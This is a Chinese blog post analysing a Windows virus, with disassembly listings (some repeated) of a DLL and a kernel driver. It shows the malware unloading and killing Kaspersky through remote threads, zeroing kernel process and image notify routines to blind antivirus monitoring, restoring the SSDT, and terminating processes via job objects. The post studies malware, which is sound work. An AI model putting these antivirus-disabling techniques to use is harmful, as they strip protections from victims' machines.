- 浏览: 28385 次
- 性别:
- 来自: 广州
最新评论
-
谁解怨妇心:
night_stalker 写道您谦虚了 …… 代码写得相当的 ...
在BMP位图中隐藏数据 -
RednaxelaFX:
话说我想起了Brainloller和Braincopter
在BMP位图中隐藏数据 -
RednaxelaFX:
32位BMP在某些软件(例如Windows自带的图片浏览器)里 ...
在BMP位图中隐藏数据 -
night_stalker:
您谦虚了 …… 代码写得相当的好看,命名非常的标准正统 口牙
在BMP位图中隐藏数据
这个dll会释放出一个驱动,于是就被这个诡异的驱动迷惑了很久。后来上网一查发现几个月前在看雪看到的一个帖就是这个病毒的,而且我搞错了对象了,dll调用的sys很早就释放了出来orz。
DllMain没什么好说的,就将hModule保存起来并且调用OpenProcessToken、LookupPrivilegeValue跟AdjustTokenPrivileges提升进程权限。
droqp函数的分析如下:
当初看到释放的驱动,分析了N久也没找到看雪上的牛人说的恢复SSDT跟杀进程的代码,更要命的是acpiec.sys连符号链接都没创建……后来看了一下加载的\\.\CMusic是另外一个病毒文件释放出来的orz
工作线程先是列出了一对杀毒软件的名,然后再用ToolHelp32函数来枚举进程,不过不知道是不是我这个func.dll跟别人的不同……只是枚举进程却没有杀进程的操作,就光杀了一个卡巴斯基:
.text:10001254 push ebp
.text:10001255 mov ebp, esp
.text:10001257 sub esp, 224h
.text:1000125D push ebx
.text:1000125E push [ebp+dwProcessId] ; th32ProcessID
.text:10001261 push 8 ; dwFlags
.text:10001263 call CreateToolhelp32Snapshot
.text:10001268 mov ebx, eax
.text:1000126A cmp ebx, 0FFFFFFFFh
.text:1000126D jz loc_10001328
.text:10001273 lea eax, [ebp+me]
.text:10001279 mov [ebp+me.dwSize], 224h
.text:10001283 push eax ; lpme
.text:10001284 push ebx ; hSnapshot
.text:10001285 call Module32First
.text:1000128A test eax, eax
.text:1000128C jnz short loc_1000129A
.text:1000128E push ebx ; hObject
.text:1000128F call ds:CloseHandle
.text:10001295 jmp loc_10001328
.text:1000129A ; ---------------------------------------------------------------------------
.text:1000129A
.text:1000129A loc_1000129A: ; CODE XREF: sub_10001254+38j
.text:1000129A push esi
.text:1000129B mov esi, ds:OutputDebugStringA
.text:100012A1 push edi
.text:100012A2 mov edi, ds:strstr
.text:100012A8
.text:100012A8 loc_100012A8: ; CODE XREF: sub_10001254+C9j
.text:100012A8 lea eax, [ebp+me.szExePath]
.text:100012AE push eax ; lpOutputString
.text:100012AF call esi ; OutputDebugStringA
.text:100012B1 lea eax, [ebp+me.szExePath]
.text:100012B7 push offset SubStr ; ".kdl"
.text:100012BC push eax ; Str
.text:100012BD call edi ; strstr
.text:100012BF pop ecx
.text:100012C0 test eax, eax
.text:100012C2 pop ecx
.text:100012C3 jz short loc_100012E9
.text:100012C5 push [ebp+me.hModule] ; lpParameter
.text:100012CB push [ebp+dwProcessId] ; dwProcessId
.text:100012CE call sub_10001201 ; 创建远程线程令avp.exe卸载kdl模块
.text:100012D3 pop ecx
.text:100012D4 lea eax, [ebp+me.szExePath]
.text:100012DA pop ecx
.text:100012DB push eax ; lpOutputString
.text:100012DC call esi ; OutputDebugStringA
.text:100012DE push 3E8h ; dwMilliseconds
.text:100012E3 call ds:Sleep
.text:100012E9
.text:100012E9 loc_100012E9: ; CODE XREF: sub_10001254+6Fj
.text:100012E9 lea eax, [ebp+me.szExePath]
.text:100012EF push offset aAvp_exe ; "avp.exe"
.text:100012F4 push eax ; Str
.text:100012F5 call edi ; strstr
.text:100012F7 pop ecx
.text:100012F8 test eax, eax
.text:100012FA pop ecx
.text:100012FB jz short loc_1000130E
.text:100012FD lea eax, [ebp+me.szExePath]
.text:10001303 push eax ; Source
.text:10001304 push [ebp+Dest] ; Dest
.text:10001307 call strcpy
.text:1000130C pop ecx
.text:1000130D pop ecx
.text:1000130E
.text:1000130E loc_1000130E: ; CODE XREF: sub_10001254+A7j
.text:1000130E lea eax, [ebp+me]
.text:10001314 push eax ; lpme
.text:10001315 push ebx ; hSnapshot
.text:10001316 call Module32Next
.text:1000131B test eax, eax
.text:1000131D jnz short loc_100012A8
.text:1000131F push ebx ; hObject
.text:10001320 call ds:CloseHandle
.text:10001326 pop edi
.text:10001327 pop esi
.text:10001328
.text:10001328 loc_10001328: ; CODE XREF: sub_10001254+19j
.text:10001328 ; sub_10001254+41j
.text:10001328 pop ebx
.text:10001329 leave
.text:1000132A retn
.text:1000132A sub_10001254 endp
这段代码是通过枚举卡巴的模块来查找kdl模块,找到就给卡巴创建一条远程线程来卸载它,然后就是WinExec执行两条命令来杀掉卡巴。
驱动部分:
先在DriverEntry调用以下函数:
.text:00011BEE push ebp
.text:00011BEF mov ebp, esp
.text:00011BF1 push ecx
.text:00011BF2 push ecx
.text:00011BF3 push esi
.text:00011BF4 mov esi, ds:RtlInitUnicodeString
.text:00011BFA push edi
.text:00011BFB push offset word_11B2A ; SourceString=PsRemoveLoadImageNotifyRoutine
.text:00011C00 lea eax, [ebp+DestinationString]
.text:00011C03 push eax ; DestinationString
.text:00011C04 call esi ; RtlInitUnicodeString
.text:00011C06 mov edi, ds:MmGetSystemRoutineAddress
.text:00011C0C lea eax, [ebp+DestinationString]
.text:00011C0F push eax ; SystemRoutineName
.text:00011C10 call edi ; MmGetSystemRoutineAddress
.text:00011C12 push eax
.text:00011C13 call sub_11AFE
.text:00011C18 push offset word_11B6A ; SourceString=PsSetCreateProcessNotifyRoutine
.text:00011C1D lea eax, [ebp+DestinationString]
.text:00011C20 push eax ; DestinationString
.text:00011C21 call esi ; RtlInitUnicodeString
.text:00011C23 lea eax, [ebp+DestinationString]
.text:00011C26 push eax ; SystemRoutineName
.text:00011C27 call edi ; MmGetSystemRoutineAddress
.text:00011C29 push eax
.text:00011C2A call sub_11AFE
.text:00011C2F push offset word_11BAA ; SourceString=PsRemoveCreateThreadNotifyRoutine
.text:00011C34 lea eax, [ebp+DestinationString]
.text:00011C37 push eax ; DestinationString
.text:00011C38 call esi ; RtlInitUnicodeString
.text:00011C3A lea eax, [ebp+DestinationString]
.text:00011C3D push eax ; SystemRoutineName
.text:00011C3E call edi ; MmGetSystemRoutineAddress
.text:00011C40 push eax
.text:00011C41 call sub_11AFE
.text:00011C46 pop edi
.text:00011C47 pop esi
.text:00011C48 leave
.text:00011C49 retn
.text:00011C49 sub_11BEE endp
sub_11AFE proc near ; CODE XREF: sub_11BEE+25p
.text:00011AFE ; sub_11BEE+3Cp ...
.text:00011AFE
.text:00011AFE arg_0 = dword ptr 4
.text:00011AFE
.text:00011AFE mov eax, [esp+arg_0]
.text:00011B02 test eax, eax
.text:00011B04 jz short loc_11B14
.text:00011B06 xor ecx, ecx
.text:00011B08
.text:00011B08 loc_11B08: ; CODE XREF: sub_11AFE+14j
.text:00011B08 cmp byte ptr [eax], 0BFh ; 查找特征码
.text:00011B0B jz short loc_11B18
.text:00011B0D inc eax
.text:00011B0E inc ecx
.text:00011B0F cmp ecx, 14h
.text:00011B12 jl short loc_11B08
.text:00011B14
.text:00011B14 loc_11B14: ; CODE XREF: sub_11AFE+6j
.text:00011B14 xor al, al
.text:00011B16 jmp short locret_11B26
.text:00011B18 ; ---------------------------------------------------------------------------
.text:00011B18
.text:00011B18 loc_11B18: ; CODE XREF: sub_11AFE+Dj
.text:00011B18 push edi
.text:00011B19 mov edi, [eax+1] ; 监控例程地址
.text:00011B1C push 8
.text:00011B1E pop ecx
.text:00011B1F xor eax, eax ; 填0
.text:00011B21 rep stosd
.text:00011B23 mov al, 1
.text:00011B25 pop edi
.text:00011B26
.text:00011B26 locret_11B26: ; CODE XREF: sub_11AFE+18j
.text:00011B26 retn 4
.text:00011B26 sub_11AFE endp
上面这段代码是查找PsRemoveLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、PsRemoveCreateThreadNotifyRoutine三个函数中的特征码例如bfe0a35580 mov edi,offset nt!PspCreateProcessNotifyRoutine 获取监控例程的地址然后直接填0,令杀毒软件的监控失效。
接下来是IRP_MJ_DEVICE_CONTROL回调例程,响应两个操作码,分别是22E153h跟22E14Bh。前者是将传入的ProcessID调用ZwOpenProcess-》ZwCreateJobObject-》ZwAssignProcessToJobObject-》ZwTerminateJobObjcet来结束进程。后者是还原SSDT,代码很简单就不帖了。
func.dll只要是杀杀毒软件的。而phpi.dll才是实际干坏事的:包括修改host文件,下载木马、释放一个穿透还原的驱动。时间不足加上精力不足,就不分析了orz
DllMain没什么好说的,就将hModule保存起来并且调用OpenProcessToken、LookupPrivilegeValue跟AdjustTokenPrivileges提升进程权限。
droqp函数的分析如下:
引用
.text:10004340 lea eax, [ebp+SystemTime]
.text:10004343 push eax ; lpSystemTime
.text:10004344 call ds:GetSystemTime
.text:1000434A cmp [ebp+SystemTime.wYear], 7D7h ; 年份早于2007年则退出
.text:10004350 jbe loc_10004426
.text:10004356 mov esi, 104h
.text:1000435B lea eax, [ebp+FileName]
.text:10004361 push esi ; uSize
.text:10004362 push eax ; lpBuffer
.text:10004363 call ds:GetWindowsDirectoryA
.text:10004369 lea eax, [ebp+FileName]
.text:1000436F push offset aSystem32Driver ; "\\system32\\drivers"
.text:10004374 push eax ; Dest
.text:10004375 call strcat
.text:1000437A lea eax, [ebp+FileName]
.text:10004380 push offset aAcpiec_sys ; "\\acpiec.sys"
.text:10004385 push eax ; Dest
.text:10004386 call strcat
.text:1000438B add esp, 10h
.text:1000438E cmp [ebp+SystemTime.wYear], 7D8h
.text:10004394 jbe short loc_100043AC
.text:10004396 lea eax, [ebp+FileName]
.text:1000439C push eax ; lpFileName
.text:1000439D push offset hFile ; "SYS"
.text:100043A2 push 67h ; hResInfo
.text:100043A4 call sub_10001000 ; 释放acpiec.sys到system32\drivers\目录下
.text:100043A9 add esp, 0Ch
.text:100043AC
.text:100043AC loc_100043AC: ; CODE XREF: droqp+ACj
.text:100043AC lea eax, [ebp+FileName]
.text:100043B2 push eax ; lpBinaryPathName
.text:100043B3 call sub_10003F22 ; 装载acpiec.sys
.text:100043B8 pop ecx
.text:100043B9 xor ebx, ebx
.text:100043BB push ebx ; hTemplateFile
.text:100043BC push 80h ; dwFlagsAndAttributes
.text:100043C1 push 3 ; dwCreationDisposition
.text:100043C3 push ebx ; lpSecurityAttributes
.text:100043C4 push ebx ; dwShareMode
.text:100043C5 push 0C0000000h ; dwDesiredAccess
.text:100043CA push offset FileName ; "\\\\.\\CMusic"
.text:100043CF call ds:CreateFileA ; 打开的却是另一个驱动orz
.text:100043D5 cmp eax, 0FFFFFFFFh
.text:100043D8 mov [ebp+lpParameter], eax
.text:100043DB jz short loc_10004400
.text:100043DD mov edi, ds:GetSystemDirectoryA
.text:100043E3 lea eax, [ebp+FileName]
.text:100043E9 push esi ; uSize
.text:100043EA push eax ; lpBuffer
.text:100043EB call edi ; GetSystemDirectoryA
.text:100043ED lea eax, [ebp+FileName]
.text:100043F3 push esi ; uSize
.text:100043F4 push eax ; lpBuffer
.text:100043F5 call edi ; GetSystemDirectoryA
.text:100043F7 push [ebp+lpParameter] ; Handle of \\.\CMusic
.text:100043FA call sub_1000417D ; 利用特征码在ntoskrl.exe里面找SSDT的偏移地址并与驱动通信还原SSDT
.text:100043FF pop ecx
.text:10004400
.text:10004400 loc_10004400: ; CODE XREF: droqp+F3j
.text:10004400 mov esi, ds:Sleep
.text:10004406 push 3E8h ; dwMilliseconds
.text:1000440B call esi ; Sleep
.text:1000440D push ebx ; lpThreadId
.text:1000440E push ebx ; dwCreationFlags
.text:1000440F push [ebp+lpParameter] ; lpParameter
.text:10004412 push offset StartAddress ; lpStartAddress
.text:10004417 push ebx ; dwStackSize
.text:10004418 push ebx ; lpThreadAttributes
.text:10004419 call ds:CreateThread ; 开启工作线程
.text:1000441F push 1D4C0h ; dwMilliseconds
.text:10004424 call esi ; Sleep
.text:10004343 push eax ; lpSystemTime
.text:10004344 call ds:GetSystemTime
.text:1000434A cmp [ebp+SystemTime.wYear], 7D7h ; 年份早于2007年则退出
.text:10004350 jbe loc_10004426
.text:10004356 mov esi, 104h
.text:1000435B lea eax, [ebp+FileName]
.text:10004361 push esi ; uSize
.text:10004362 push eax ; lpBuffer
.text:10004363 call ds:GetWindowsDirectoryA
.text:10004369 lea eax, [ebp+FileName]
.text:1000436F push offset aSystem32Driver ; "\\system32\\drivers"
.text:10004374 push eax ; Dest
.text:10004375 call strcat
.text:1000437A lea eax, [ebp+FileName]
.text:10004380 push offset aAcpiec_sys ; "\\acpiec.sys"
.text:10004385 push eax ; Dest
.text:10004386 call strcat
.text:1000438B add esp, 10h
.text:1000438E cmp [ebp+SystemTime.wYear], 7D8h
.text:10004394 jbe short loc_100043AC
.text:10004396 lea eax, [ebp+FileName]
.text:1000439C push eax ; lpFileName
.text:1000439D push offset hFile ; "SYS"
.text:100043A2 push 67h ; hResInfo
.text:100043A4 call sub_10001000 ; 释放acpiec.sys到system32\drivers\目录下
.text:100043A9 add esp, 0Ch
.text:100043AC
.text:100043AC loc_100043AC: ; CODE XREF: droqp+ACj
.text:100043AC lea eax, [ebp+FileName]
.text:100043B2 push eax ; lpBinaryPathName
.text:100043B3 call sub_10003F22 ; 装载acpiec.sys
.text:100043B8 pop ecx
.text:100043B9 xor ebx, ebx
.text:100043BB push ebx ; hTemplateFile
.text:100043BC push 80h ; dwFlagsAndAttributes
.text:100043C1 push 3 ; dwCreationDisposition
.text:100043C3 push ebx ; lpSecurityAttributes
.text:100043C4 push ebx ; dwShareMode
.text:100043C5 push 0C0000000h ; dwDesiredAccess
.text:100043CA push offset FileName ; "\\\\.\\CMusic"
.text:100043CF call ds:CreateFileA ; 打开的却是另一个驱动orz
.text:100043D5 cmp eax, 0FFFFFFFFh
.text:100043D8 mov [ebp+lpParameter], eax
.text:100043DB jz short loc_10004400
.text:100043DD mov edi, ds:GetSystemDirectoryA
.text:100043E3 lea eax, [ebp+FileName]
.text:100043E9 push esi ; uSize
.text:100043EA push eax ; lpBuffer
.text:100043EB call edi ; GetSystemDirectoryA
.text:100043ED lea eax, [ebp+FileName]
.text:100043F3 push esi ; uSize
.text:100043F4 push eax ; lpBuffer
.text:100043F5 call edi ; GetSystemDirectoryA
.text:100043F7 push [ebp+lpParameter] ; Handle of \\.\CMusic
.text:100043FA call sub_1000417D ; 利用特征码在ntoskrl.exe里面找SSDT的偏移地址并与驱动通信还原SSDT
.text:100043FF pop ecx
.text:10004400
.text:10004400 loc_10004400: ; CODE XREF: droqp+F3j
.text:10004400 mov esi, ds:Sleep
.text:10004406 push 3E8h ; dwMilliseconds
.text:1000440B call esi ; Sleep
.text:1000440D push ebx ; lpThreadId
.text:1000440E push ebx ; dwCreationFlags
.text:1000440F push [ebp+lpParameter] ; lpParameter
.text:10004412 push offset StartAddress ; lpStartAddress
.text:10004417 push ebx ; dwStackSize
.text:10004418 push ebx ; lpThreadAttributes
.text:10004419 call ds:CreateThread ; 开启工作线程
.text:1000441F push 1D4C0h ; dwMilliseconds
.text:10004424 call esi ; Sleep
当初看到释放的驱动,分析了N久也没找到看雪上的牛人说的恢复SSDT跟杀进程的代码,更要命的是acpiec.sys连符号链接都没创建……后来看了一下加载的\\.\CMusic是另外一个病毒文件释放出来的orz
工作线程先是列出了一对杀毒软件的名,然后再用ToolHelp32函数来枚举进程,不过不知道是不是我这个func.dll跟别人的不同……只是枚举进程却没有杀进程的操作,就光杀了一个卡巴斯基:
引用
.text:10001254 push ebp
.text:10001255 mov ebp, esp
.text:10001257 sub esp, 224h
.text:1000125D push ebx
.text:1000125E push [ebp+dwProcessId] ; th32ProcessID
.text:10001261 push 8 ; dwFlags
.text:10001263 call CreateToolhelp32Snapshot
.text:10001268 mov ebx, eax
.text:1000126A cmp ebx, 0FFFFFFFFh
.text:1000126D jz loc_10001328
.text:10001273 lea eax, [ebp+me]
.text:10001279 mov [ebp+me.dwSize], 224h
.text:10001283 push eax ; lpme
.text:10001284 push ebx ; hSnapshot
.text:10001285 call Module32First
.text:1000128A test eax, eax
.text:1000128C jnz short loc_1000129A
.text:1000128E push ebx ; hObject
.text:1000128F call ds:CloseHandle
.text:10001295 jmp loc_10001328
.text:1000129A ; ---------------------------------------------------------------------------
.text:1000129A
.text:1000129A loc_1000129A: ; CODE XREF: sub_10001254+38j
.text:1000129A push esi
.text:1000129B mov esi, ds:OutputDebugStringA
.text:100012A1 push edi
.text:100012A2 mov edi, ds:strstr
.text:100012A8
.text:100012A8 loc_100012A8: ; CODE XREF: sub_10001254+C9j
.text:100012A8 lea eax, [ebp+me.szExePath]
.text:100012AE push eax ; lpOutputString
.text:100012AF call esi ; OutputDebugStringA
.text:100012B1 lea eax, [ebp+me.szExePath]
.text:100012B7 push offset SubStr ; ".kdl"
.text:100012BC push eax ; Str
.text:100012BD call edi ; strstr
.text:100012BF pop ecx
.text:100012C0 test eax, eax
.text:100012C2 pop ecx
.text:100012C3 jz short loc_100012E9
.text:100012C5 push [ebp+me.hModule] ; lpParameter
.text:100012CB push [ebp+dwProcessId] ; dwProcessId
.text:100012CE call sub_10001201 ; 创建远程线程令avp.exe卸载kdl模块
.text:100012D3 pop ecx
.text:100012D4 lea eax, [ebp+me.szExePath]
.text:100012DA pop ecx
.text:100012DB push eax ; lpOutputString
.text:100012DC call esi ; OutputDebugStringA
.text:100012DE push 3E8h ; dwMilliseconds
.text:100012E3 call ds:Sleep
.text:100012E9
.text:100012E9 loc_100012E9: ; CODE XREF: sub_10001254+6Fj
.text:100012E9 lea eax, [ebp+me.szExePath]
.text:100012EF push offset aAvp_exe ; "avp.exe"
.text:100012F4 push eax ; Str
.text:100012F5 call edi ; strstr
.text:100012F7 pop ecx
.text:100012F8 test eax, eax
.text:100012FA pop ecx
.text:100012FB jz short loc_1000130E
.text:100012FD lea eax, [ebp+me.szExePath]
.text:10001303 push eax ; Source
.text:10001304 push [ebp+Dest] ; Dest
.text:10001307 call strcpy
.text:1000130C pop ecx
.text:1000130D pop ecx
.text:1000130E
.text:1000130E loc_1000130E: ; CODE XREF: sub_10001254+A7j
.text:1000130E lea eax, [ebp+me]
.text:10001314 push eax ; lpme
.text:10001315 push ebx ; hSnapshot
.text:10001316 call Module32Next
.text:1000131B test eax, eax
.text:1000131D jnz short loc_100012A8
.text:1000131F push ebx ; hObject
.text:10001320 call ds:CloseHandle
.text:10001326 pop edi
.text:10001327 pop esi
.text:10001328
.text:10001328 loc_10001328: ; CODE XREF: sub_10001254+19j
.text:10001328 ; sub_10001254+41j
.text:10001328 pop ebx
.text:10001329 leave
.text:1000132A retn
.text:1000132A sub_10001254 endp
这段代码是通过枚举卡巴的模块来查找kdl模块,找到就给卡巴创建一条远程线程来卸载它,然后就是WinExec执行两条命令来杀掉卡巴。
驱动部分:
先在DriverEntry调用以下函数:
引用
.text:00011BEE push ebp
.text:00011BEF mov ebp, esp
.text:00011BF1 push ecx
.text:00011BF2 push ecx
.text:00011BF3 push esi
.text:00011BF4 mov esi, ds:RtlInitUnicodeString
.text:00011BFA push edi
.text:00011BFB push offset word_11B2A ; SourceString=PsRemoveLoadImageNotifyRoutine
.text:00011C00 lea eax, [ebp+DestinationString]
.text:00011C03 push eax ; DestinationString
.text:00011C04 call esi ; RtlInitUnicodeString
.text:00011C06 mov edi, ds:MmGetSystemRoutineAddress
.text:00011C0C lea eax, [ebp+DestinationString]
.text:00011C0F push eax ; SystemRoutineName
.text:00011C10 call edi ; MmGetSystemRoutineAddress
.text:00011C12 push eax
.text:00011C13 call sub_11AFE
.text:00011C18 push offset word_11B6A ; SourceString=PsSetCreateProcessNotifyRoutine
.text:00011C1D lea eax, [ebp+DestinationString]
.text:00011C20 push eax ; DestinationString
.text:00011C21 call esi ; RtlInitUnicodeString
.text:00011C23 lea eax, [ebp+DestinationString]
.text:00011C26 push eax ; SystemRoutineName
.text:00011C27 call edi ; MmGetSystemRoutineAddress
.text:00011C29 push eax
.text:00011C2A call sub_11AFE
.text:00011C2F push offset word_11BAA ; SourceString=PsRemoveCreateThreadNotifyRoutine
.text:00011C34 lea eax, [ebp+DestinationString]
.text:00011C37 push eax ; DestinationString
.text:00011C38 call esi ; RtlInitUnicodeString
.text:00011C3A lea eax, [ebp+DestinationString]
.text:00011C3D push eax ; SystemRoutineName
.text:00011C3E call edi ; MmGetSystemRoutineAddress
.text:00011C40 push eax
.text:00011C41 call sub_11AFE
.text:00011C46 pop edi
.text:00011C47 pop esi
.text:00011C48 leave
.text:00011C49 retn
.text:00011C49 sub_11BEE endp
引用
sub_11AFE proc near ; CODE XREF: sub_11BEE+25p
.text:00011AFE ; sub_11BEE+3Cp ...
.text:00011AFE
.text:00011AFE arg_0 = dword ptr 4
.text:00011AFE
.text:00011AFE mov eax, [esp+arg_0]
.text:00011B02 test eax, eax
.text:00011B04 jz short loc_11B14
.text:00011B06 xor ecx, ecx
.text:00011B08
.text:00011B08 loc_11B08: ; CODE XREF: sub_11AFE+14j
.text:00011B08 cmp byte ptr [eax], 0BFh ; 查找特征码
.text:00011B0B jz short loc_11B18
.text:00011B0D inc eax
.text:00011B0E inc ecx
.text:00011B0F cmp ecx, 14h
.text:00011B12 jl short loc_11B08
.text:00011B14
.text:00011B14 loc_11B14: ; CODE XREF: sub_11AFE+6j
.text:00011B14 xor al, al
.text:00011B16 jmp short locret_11B26
.text:00011B18 ; ---------------------------------------------------------------------------
.text:00011B18
.text:00011B18 loc_11B18: ; CODE XREF: sub_11AFE+Dj
.text:00011B18 push edi
.text:00011B19 mov edi, [eax+1] ; 监控例程地址
.text:00011B1C push 8
.text:00011B1E pop ecx
.text:00011B1F xor eax, eax ; 填0
.text:00011B21 rep stosd
.text:00011B23 mov al, 1
.text:00011B25 pop edi
.text:00011B26
.text:00011B26 locret_11B26: ; CODE XREF: sub_11AFE+18j
.text:00011B26 retn 4
.text:00011B26 sub_11AFE endp
上面这段代码是查找PsRemoveLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、PsRemoveCreateThreadNotifyRoutine三个函数中的特征码例如bfe0a35580 mov edi,offset nt!PspCreateProcessNotifyRoutine 获取监控例程的地址然后直接填0,令杀毒软件的监控失效。
接下来是IRP_MJ_DEVICE_CONTROL回调例程,响应两个操作码,分别是22E153h跟22E14Bh。前者是将传入的ProcessID调用ZwOpenProcess-》ZwCreateJobObject-》ZwAssignProcessToJobObject-》ZwTerminateJobObjcet来结束进程。后者是还原SSDT,代码很简单就不帖了。
func.dll只要是杀杀毒软件的。而phpi.dll才是实际干坏事的:包括修改host文件,下载木马、释放一个穿透还原的驱动。时间不足加上精力不足,就不分析了orz
发表评论
-
随手捉了个毒来分析
2009-09-11 00:39 1082本来暑假前就以外地感染的这个病毒,不过我的系统装了影子 ... -
《星空のメモリア》脚本简单分析
2009-08-31 20:55 994脚本是编译型的脚本,虽然没加密,但不去调试的话就很难分 ... -
OllyDBG插件OllyGal1.10
2009-07-30 01:48 1916嗯,不知道发汉化技术版还是发多媒体教室。发在这里应该多点人 ... -
OllGal1.10正式版
2009-07-30 01:31 0详细内容待更新 -
丢个OD插件娱乐一下大众
2009-07-23 11:06 1234看到来福丢了个JAVA做的纸牌出来应援,又看到有人丢了个F ... -
Gift汉化相关
2009-07-13 15:53 1429虽然大概没什么人来看这个blog,但还是要稍微更新一下 ... -
DC2PC汉化实战
2009-06-17 01:11 3380前一段时间写了篇 ... -
《俺たちに翼はない》脚本加密算法分析
2009-06-17 01:03 1937前言:游戏汉化中的一个重要的步骤是对资源的解包以及封包。虽然现 ... -
字符编码与游戏中的字符边界检查
2009-06-17 00:55 5883在汉化以及开发国 ...
相关推荐
pb最好用的bmp图片转jpg图片dll(ImageUtils.dll) PB 函数声明 function Boolean Bmp2Jpgzzp(ref string bmp_name,ref string jpg_name) library 'ImageUtils.dll' alias for 'Bmp2Jpg' function Boolean Jpg2...
例如,`PUB_TEST_FUNC_DLL.dll`可能包含用于测试和验证刷机操作的函数,`SLA_Challenge.dll`可能涉及安全认证,而`qcCoInstaller.dll`可能与Qualcomm(高通)处理器相关的驱动安装有关。 6. **BaseTools.dll、...
在System.Core.dll中,Func和Action两个泛型委托家族广泛应用于各种场景,它们分别代表有返回值和无返回值的函数。事件则是.NET中的多播委托,允许多个订阅者同时监听同一个事件,增强了代码的灵活性。匿名方法和...
首先,我们要了解**sapnco.dll**和**sapnco_utils.dll**这两个动态链接库的作用。sapnco.dll是SAP NetWeaver RFC SDK的核心部分,它为.NET环境提供了一组接口和类,允许C#代码调用SAP系统的远程功能模块(RFM)。...
《深入解析C#中的System.Linq.dll》 System.Linq.dll是.NET框架中一个至关重要的组件,它是C#语言 LINQ(Language Integrated Query,语言集成查询)功能的基础。在C#编程中,LINQ提供了一种优雅且高效的方式来处理...
《网络函数大公开配套函数库——netFunc.pas深度解析》 在计算机编程领域,Delphi作为一种高效且功能强大的对象 Pascal 编程语言,被广泛应用于开发桌面应用程序。在网络编程中,Delphi 提供了丰富的类库和函数,...
常用标准函数库,包括文件读取类、硬件操作类、判断类、加密类、类型转换类,持续更新中.....
cpp基本算法实现练习。包括交换算法,选择排序算法,冒泡排序算法,快速排序算法,归并排序算法。纯小白之作,写着玩儿的。
《Discuz代码分析——深入理解`global.func.php`》 Discuz是一款广泛应用于社区论坛建设的开源软件,其强大的功能和灵活的扩展性深受开发者喜爱。在深入学习和使用Discuz的过程中,对核心代码的理解至关重要,尤其...
lottery.func.php
为了更深入地理解SDIO功能和CIS元组,我们需要查看"sdio_func.c"的源代码,分析其中的函数和数据结构,以找出与未知CIS元组相关的部分。这可能涉及到SDIO规范的查阅,理解CIS的格式和每个元组的含义,以及如何在代码...
标题中的"res_func.rar_floating"暗示我们正在处理一个与浮点运算相关的资源函数库,可能是一个软件包或代码集合,用于处理摩托罗拉68040处理器的浮点运算。040是摩托罗拉68040微处理器的代号,这款处理器在90年代...
"mem_func.rar_内存泄露"这个压缩包显然包含了一个关于内存泄漏调试的示例代码,由`mem_func.c`和`mem_func.h`两个文件组成。 内存泄漏是指程序在申请内存后,无法释放已申请的内存空间,一次小的内存泄漏可能不...
objfunc.m
Basefunc.java
mathFunC.c
CEC2014基准函数集,代码用c++编写,直接调用即可,希望对大家有帮助
(matlab程序源代码)PSO工具箱使用简介\test_func.mPSO工具箱使用简介\test_func.m
在"函数func.playground.zip"这个压缩包中,我们很可能找到了一个用于练习Swift函数的Playground文件。Playground是Xcode提供的一个工具,它允许程序员实时测试和调试代码,而无需构建完整的应用程序。下面我们将...
4_13_func.py